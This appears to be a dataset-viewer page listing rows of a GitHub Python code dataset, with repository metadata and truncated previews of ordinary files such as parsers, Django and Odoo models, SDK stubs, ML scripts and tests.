total = 0
for protein in elm2proteins[elm]:
for [st, stp, seq] in elm2proteins[elm][protein]:
... |
f44bdf91e5482f7d720796951d8df748650bfe04 | cbbb939ebc586652931017bf96844693ca9bd835 | dhruvramani/MultiLabelClassification | /AdvMulti/src/parser.py | Python | py | 2,835 | no_license | import argparse
class Parser(object):
def __init__(self):
parser=argparse.ArgumentParser()
parser.add_argument("--path", default="../", help="Base Path for the Folder")
parser.add_argument("--project", default="C2AE", help="Project Folder")
parser.add_argument("--folder_suffix", de... |
326095d0aa9334ab2878f608c0ddb4b01c9aca85 | c00569dfdf8940d26fbd3e7bfc67c2ce5c8d081b | Dariusz1989/pycharm-vred-py | /src/main/resources/python/vrdImmersiveMenu.py | Python | py | 2,754 | no_license | '''
vrdImmersiveMenu
------------------------------------------
API version: v2 | Generation Date: 2020-05-01 | VRED-Py: Visual Studio Code Tools for Autodesk VRED | Autogenerated Method-Stubs
------------------------------------------
VR menu object.
'''
from typing import List
class MenuConstraint():
pass
c... |
0bc151d5b9bfcbf3b0c3dffafd2822d9d00df6bc | c75afb9fa12f23021625cf92a40dfc7700529ca0 | jernejvivod/eurovision-voting-analysis | /lib_naloga1/inject.py | Python | py | 1,272 | no_license | ########################
# Author: Jernej Vivod #
########################
# inject_distances: append distances from two nested clusters constituting a higher order cluster.
# The results of this functions are used to make a dendrogram plot that is proportional to the distances between the clusters.
# The distances li... |
be27459d9e676c5cbae709cade0467dec33c5eeb | 8ef1b2317b6386bac4b56d95b79e9ad58cb9378b | edxavier/odoo_addons | /pbx/models/catalog.py | Python | py | 9,134 | no_license | # -*- coding: utf-8 -*-
from odoo import models, fields, api
class Campus(models.Model):
_name = 'pbx.campus'
_description = 'Campo'
_inherit = ['mail.thread', 'mail.activity.mixin']
name = fields.Char(string="Campo", required=True, index=True, tracking=True)
code = fields.Char(string="Codigo... |
7edee30920c49e43ee7e0460e707bf5583d9d963 | 8dcb8e81f34d191e7aa03fc1f8e85082826db8ab | maketubu7/sx_demo | /relation_database/person_relation_car.py | Python | py | 3,494 | no_license | # -*- coding: utf-8 -*-
# @Time : 2020/3/7 13:30
# @Author : Deng Wenxing
# @Email : dengwenxingae86@163.com
# @File : person_relation_car.py
# @Software: PyCharm
# @content : 人车关联信息
import sys, os
from pyspark import SparkConf
from pyspark.sql import SparkSession
# from pyspark.sql import functions as fun
fr... |
185461cfe9cb4c91b5ddc1c4aa917fb04f62c48a | 2b2cbeb81cb0bc1f1f7f3927a0f0365ee6c23159 | turingmachiine/predicate | /mistake/migrations/0002_auto_20210523_1844.py | Python | py | 759 | no_license | # Generated by Django 3.2.2 on 2021-05-23 18:44
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('mistake', '0001_initial'... |
075724037aa929296420622b2a3d4b8b216766bc | 5edbeafe1bb2bc74a6b56ca20e3aa0e2c3408442 | HareshNasit/LeetCode | /String/valid_palindrome.py | Python | py | 333 | no_license | def isPalindrome(self, s):
"""
https://leetcode.com/problems/valid-palindrome/
:type s: str
:rtype: bool
"""
# Runtime O(n)
alnum = ""
for i in s:
if i.isalnum():
alnum += i
alnum = alnum.lower()
return alnum ==... |
a299cef503798e0e869d8612a039fa8a7993871a | 9e20f6cb4c663fa59fdf40bd90a82d9458df9dd1 | ahlusar1989/pathos | /pathos/core.py | Python | py | 11,155 | permissive | #!/usr/bin/env python
#
# Author: Mike McKerns (mmckerns @caltech and @uqfoundation)
# Copyright (c) 1997-2016 California Institute of Technology.
# License: 3-clause BSD. The full license text is available at:
# - http://trac.mystic.cacr.caltech.edu/project/pathos/browser/pathos/LICENSE
"""
high-level programming in... |
1ef9e75487352b8110de9aa15aa7d0ae0fe92805 | 3439f16fa90e902c9363b809079e983deb47a239 | Azure/azure-sdk-for-python | /sdk/appservice/azure-mgmt-web/azure/mgmt/web/v2015_04_01/models/_web_site_management_client_enums.py | Python | py | 3,264 | permissive | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
af1aa51a1ab60c13f2b51fdae0d506dab278876b | 7c9674d6cd2fb4233947d7f54e63b126d213bde8 | Sandy4321/bandit-sponsored-search | /different_ctr/winexp_adversaries_05/bidder.py | Python | py | 4,332 | no_license | ############
# Implements Bidder Class
# Includes Functions:
# - prob_outcome
# - compute_utility
# - weights_update_winexp
# - bidding
# - loss_update_exp3
# - loss_update_winexp
############
import random
import numpy as np
from probability import draw
import math
class Bidder(object):
# Each bidder has a... |
4b2e779a8e7d40716a28e18395f129327a992e3b | 6dc8a3af409f3d36bcf0af924ae4cb5b9f82ffbe | GrandUser/the-tale | /the_tale/game/cards/tests/test_add_power.py | Python | py | 3,072 | permissive | # coding: utf-8
import mock
from the_tale.common.utils import testcase
from the_tale.accounts.prototypes import AccountPrototype
from the_tale.accounts.logic import register_user
from the_tale.game.logic_storage import LogicStorage
from the_tale.game.logic import create_test_map
from the_tale.game.cards import effe... |
0e71bf103022fe2235f92277221c518b342c87a7 | d2f986932472ef8cd4dc46812743f597ca465ac1 | bopopescu/socialliteapp | /google-cloud-sdk/lib/surface/dns/managed_zones/create.py | Python | py | 11,668 | permissive | # -*- coding: utf-8 -*- #
# Copyright 2014 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requir... |
ff12fa1877829ae615a605e6ee41e6302f648e54 | 27e2983028fc90dcf7e2cab983e748756727ad96 | r4mmer/hermes-security | /hermes/modules/none.py | Python | py | 343 | no_license | import cv2
from hermes.utils.decorators import register_module
@register_module("none")
class no_module:
def __init__(self, feedname):
self.feedname = feedname
def cleanup(self):
# TODO : Cleanup
print('[-] Cleaning up Movement Module...')
def run(self, frame):
cv2.imshow... |
70443b4b9f9e06c09b29cc30ce6d63d3f2624faf | 6d63d684faf9f6753f73636e7bd4634e7a054d39 | natefoo/galaxy-beta2 | /tools/next_gen_conversion/fastq_conversions.py | Python | py | 1,291 | permissive | #!/usr/bin/env python
"""
Performs various conversions around Sanger FASTQ data
usage: %prog [options]
-c, --command=c: Command to run
-i, --input=i: Input file to be converted
-o, --outputFastqsanger=o: FASTQ Sanger converted output file for sol2std
-s, --outputFastqsolexa=s: FASTQ Solexa converted outpu... |
d42684c15c4bb05362af7fc98ecef6c44cca55f3 | 3c6ad1b40e72b872ebd8ffe9e9b4cfdcb3b99e00 | YuHuasong123/feapder | /tests/spider/setting.py | Python | py | 2,461 | permissive | # -*- coding: utf-8 -*-
"""爬虫配置文件"""
import os
# MYSQL
MYSQL_IP = "localhost"
MYSQL_PORT = 3306
MYSQL_DB = "feapder"
MYSQL_USER_NAME = "feapder"
MYSQL_USER_PASS = "feapder123"
# REDIS
# IP:PORT
REDISDB_IP_PORTS = "localhost:6379"
REDISDB_USER_PASS = ""
REDISDB_DB = 0
# # 爬虫相关
# # COLLECTOR
# COLLECTOR_SLEEP_TIME = ... |
451400130685729c120bd56327fc0b6ca8d05997 | 9f01d7c833aa81f39fa82cdee91240c61a39dbad | codylane/python-dnsq | /tests/test_dnsq_integration.py | Python | py | 2,204 | no_license | ###############################################################################
#
# integration tests
#
###############################################################################
# coding: utf-8
from __future__ import absolute_import
from __future__ import unicode_literals
from tests import conftest
import dns.n... |
d74492c2183a7787d79e0687e33fdd2b57dc4c3b | f207003d89cbe1a418fccff117aff524aba18bd7 | sureshkumarjha/Data-Structures-in-Python | /BTS/BTS.py | Python | py | 3,157 | no_license | from BTS.Node import Node
class BTS(object):
def __init__(self):
self.root = None
def insert(self,data):
if(self.root == None):
NewNode = Node(data)
self.root = NewNode
print('root element inserted')
else:
self.insertNew(data,self.root... |
4995c7f58083d69b5ce7b50c8a62e9aa035d4b3a | 9bc4a85c654aed8615b712872554fe62a63e24d3 | HansenZhao/MorphTrack | /triplet-autoencoder/data_reader.py | Python | py | 618 | no_license | import h5py
root_dir = 'I:\\学术\\CNN-Cell-profile-XRZhang\\result\\20200227\\train_data\\'
def load_matlab_file(fname,fpath=None):
if fpath is None:
raw_data = h5py.File(root_dir+fname,'r')
else:
raw_data = h5py.File(fpath+fname)
return raw_data['X'],raw_data['y']
def load_infer_data(fname... |
dd7eef32d424ee8af86dd8b0f901b32411a8328e | 2d1855be15a801910881adb7418bddb717eb6b83 | rohit-u2/ml-framework | /src/cross_validation.py | Python | py | 3,908 | no_license | import pandas as pd
from sklearn import model_selection
"""
- -- binary classification
- -- multi class classification
- -- multi label classification
- -- single column regression
- -- multi column regression
- -- holdout
"""
class CrossValidation:
def __init__(
self,
df,... |
bbab7edcabc93fd5743a1497beb06c42330d4c11 | 551f047e520b6e6157a201361ebdeeaab92a51c1 | zpwlow/study | /low7/ManageInterface/Addexfile_win.py | Python | py | 3,039 | no_license | from PyQt5.QtWidgets import QWidget, QApplication, QPushButton, QGridLayout, QFrame
from PyQt5.QtWidgets import QHBoxLayout
# 添加练习
from ManageOperation import Addexfile
class Addexfile_win(QFrame):
def __init__(self, data):
super(Addexfile_win, self).__init__()
self.setFrameShape(QFrame.StyledPa... |
8e2acf4bc39c85507de2d44a399cb522f05bd2f7 | 5a44c8025323c0359791c2754ff2ba7efa8bdbd7 | ThomasNam-study/py_sample | /api/yt/search_yt_videos.py | Python | py | 300 | no_license | import os
from key import YT_KEY
from googleapiclient.discovery import build
youtube = build('youtube', 'v3', developerKey=YT_KEY)
search_response = youtube.search().list(part='snippet', q='요리', type='video').execute()
for item in search_response['items']:
print(item['snippet']['title']) |
ec945dac0f20a0cccd13d20510beac57702cb2ed | 68d83083aeb42e28b673212127ee1d7cc7123076 | VrushaliHarane/Imagereco-using-keras | /model2.py | Python | py | 1,708 | no_license | import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
from keras.models import Model
from keras.layers import Flatten,Dense,Input,Dropout
from keras.preprocessing.image import load_img
from keras.preprocessing.image import img_to_array
from sklearn.preprocessing import OneHotEncoder
from sklearn.model_... |
30686f9d6fd996eee510de300c445738ac0b28ac | d96ed55f5dcf615c9bd941679967576dbc5866f3 | Laurence-mvt/AutomateTheBoringStuff | /Chapters 1-5/magic8Ball2.py | Python | py | 796 | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Tue Jan 19 17:43:51 2021
@author: laurencefinch
"""
import random
messages = ['It is certain',
'It is decidedly so',
'Yes definitely',
'Reply hazy try again',
'Ask again later',
'Concentrate and... |
3d0738321ffcfa947240ff47abec33cb6bcbc1bc | bd4d641243f100e9d2a71d12738185834dcd1732 | 404man/saleor | /saleor/graphql/checkout/tests/test_checkout.py | Python | py | 76,751 | permissive | import datetime
from decimal import Decimal
from unittest import mock
import graphene
import pytest
from django.core.exceptions import ValidationError
from django.db.models import Sum
from django.utils import timezone
from django.utils.dateparse import parse_datetime
from django_countries.fields import Country
from me... |
8ae3446578cc4c64ce8cf6acbb7814c47647def6 | ab7d2d7571c305608d3dd022c59a14c7c032553e | getmelisted/sweetapi-python | /test/test_http_auth.py | Python | py | 714 | no_license | from lib import http_auth, config
__author__ = 'pat'
import unittest
class MockRequest:
def __init__(self):
self.values = {}
class HttpAuthTestCase(unittest.TestCase):
def test_auth_with_api_key(self):
self.assertEqual(http_auth.is_valid_api_key(config.local_api_key), True)
def test_a... |
8d583c5acdea7bf42027c1fbf2829e66dd8634d6 | adfa752f848f310cbb2f8043378edcf05a06dde3 | hpgit/HumanFoot | /DartMomentumProject/mtInitialize_Simple.py | Python | py | 37,633 | permissive | import copy
import sys
if '../PyCommon/modules' not in sys.path:
sys.path.append('../PyCommon/modules')
# if './modules' not in sys.path:
# sys.path.append('./modules')
import PyCommon.modules.Resource.ysMotionLoader as yf
import PyCommon.modules.Simulator.ysPhysConfig as ypc
import PyCommon.modules.Math.mmMat... |
96a25b65d39c527110ff948c3e21d95cec96a5a6 | 0b81076a515ae36f3dac84e17b986a09f83d7650 | codacy-badger/Wishlist-API | /src/link/serializers.py | Python | py | 331 | no_license | from rest_framework import serializers
from .models import Link
class LinkSerializer(serializers.ModelSerializer):
class Meta:
model = Link
fields = (
"id",
"created_at",
"link",
)
read_only_fields = (
"id",
"created_at",
... |
9389799df2130fe62d6b44444c59aa0ec031908c | ecd44975eb1a3d79b6908e8db8f8197994706a4a | suicider/ics2mailinglist | /ics2mailinglist.py | Python | py | 2,349 | no_license | #!/usr/bin/env python2
# -*- encoding: utf-8 -*-
"""
ics2mailinglist
Sends calendar dates to a mailing list
"""
cal_file = 'CALENDAR_ICS_URL'
mail_from = 'Weekly Event Notifier <SENDER_MAIL_HERE>'
mail_to = 'LIST_MAIL_HERE'
mail_subject = 'Weekly event notifier'
smtp_user = 'SMTP_USER_HERE'
smtp_pass ... |
bc5edcea66b30c85f353590f1292b63232c093e6 | cb967e66d4a7e3072ac2e7eb44a326cdaaca1ed9 | echohermion/customization_pattern_checker | /init.py | Python | py | 13,844 | no_license | import sys
import pprint
from solidity_parser import parser
from pattern_checker.Function import Function
import pattern_checker.utils as Utils
# Get function name, parameters and require() and revert() statements for each function in a contract file
def solidity_parser(file_path):
# while True:
# try:
... |
9ca0e9cd06b07ef7b310c7c57283a7ddb1fac390 | 84369c20511f4c052d352558e1e6cbb1e54a6b9a | youais/turboseti_stream | /test/test_spectra_gen.py | Python | py | 1,211 | permissive | r""" Testspectra_gen functions"""
import configparser
import pytest
from datafiles import TEMPDIR, CFG_FILE
from spectra_gen_main import main
import spectra_gen_config as sgc
def test_spectra_gen_main():
fil_file = TEMPDIR + "rubbish.fil"
args = [fil_file, CFG_FILE]
main(args)
def test_spectra_gen_cf... |
d5fbb7362d52ef107518748cee86471aa9ce7151 | 760439fb69ee1854b0eaafabc4fd13e0c6c4a8ec | kshlm-ddl/cdk-cf-eks | /cdk/tests/unit/provisioners/test_s3.py | Python | py | 11,303 | no_license | from os import environ
from aws_cdk.assertions import Template
from aws_cdk.core import App, Environment, Stack
from domino_cdk.config import S3
from domino_cdk.provisioners.s3 import DominoS3Provisioner
from . import TestCase
class TestDominoS3Provisioner(TestCase):
KMS_KEY_ARN = "arn:aws-us-gov:kms:us-west-2... |
b27fae3d70457e239a458c2b77959a0ce0902658 | b796fcbc049134dce2a9fa40d0d57da884e7077c | cerealkill/light_karma | /utils.py | Python | py | 1,722 | no_license | # -*- coding: utf-8 -*-
import re
from itertools import cycle
MANTRA = cycle(["om vajrasattva samaya", "manupalaya", "vajrasattva denopa titha", "dido me bhava",
"suto kayo me bhava", "supo kayo me bhava", "anurakto me bhava", "sarva siddhi me prayatsa",
"sarva karma su tsame", "tsitta... |
eab612f389e7ec12dabf038df799e0f091bb64a7 | eccb6cde4c6a4f29108a7e10c9ce0e4081b5fb72 | pulumi/pulumi-gcp | /sdk/python/pulumi_gcp/compute/per_instance_config.py | Python | py | 34,166 | permissive | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
fr... |
4a906a80bb9dec595b7b7265d7fa67064367fcd9 | 10598a75f6d1fd823956fa9ceb0aefe2f4757926 | Alpensin/Pizza-Square-and-Price-counter | /pizza.py | Python | py | 515 | permissive | import math
def pizza_size_and_price(diameter, price: int, currency='$'):
'''
Enter pizza diameter and price as int (price*100)
Returns square of pizza and price of 1cm**2
Example
pizza_size_and_price(32, 600)
pizza_size_and_price(45, 900, 'rub.')
'''
pizza_square = math.pi*(d... |
8506ebe59d1613b316b239a47b0c711a80e52d5d | d6b86a6716046db6e8bb7b17c42c151cd02a4317 | SvetoslavGeorgiev/SoftUni | /Programming_Basics_Python/First_Steps_in_Coding_Lab/Yard_Greening/Yard_Greening.py | Python | py | 280 | no_license | yard_sq_meters = float(input())
money_for_all_land = yard_sq_meters * 7.61
discount = 0.18 * money_for_all_land
final_price = money_for_all_land - discount
print(f"The final price is: {format(final_price, '.2f')} lv.")
print(f"The discount is: {format(discount, '.2f')} lv.")
|
09530cc9f7df59379042ecdb0830a8377414a28a | b5ef551c2fedaf935a058320f4f36d2fa6ad9166 | crisjf/genius_crawl | /artist_msa.py | Python | py | 1,534 | no_license | import pandas as pd,geopandas as gpd
from shapely.geometry import Point
a2w = pd.read_csv("processed_data/artist2wiki.tsv",encoding='utf-8',delimiter='\t')
origin = pd.read_csv('processed_data/artist_origin.tsv',encoding='utf-8',delimiter='\t')
msa = gpd.read_file("SHP/cb_2016_us_cbsa_500k.shp")
msa['DUSA_ID'] = ['31... |
6fa282854d0e0bab1907bbe03290166bec9226b6 | d79086826c8ea768afc58b292462a921836dcb9f | xiaochen-salford/salford-robotics-gym | /srg/agents/actor_critic_agents/sac_single.py | Python | py | 14,659 | no_license | # from srg.agents.base_agent import BaseAgent
from srg.agents.base_agent_single import BaseAgentSingle
from srg.agents.utilities.OU_Noise import OU_Noise
from srg.agents.utilities.data_structures.Replay_Buffer import Replay_Buffer
from torch.optim import Adam
import torch
import torch.nn.functional as F
from torch.dist... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.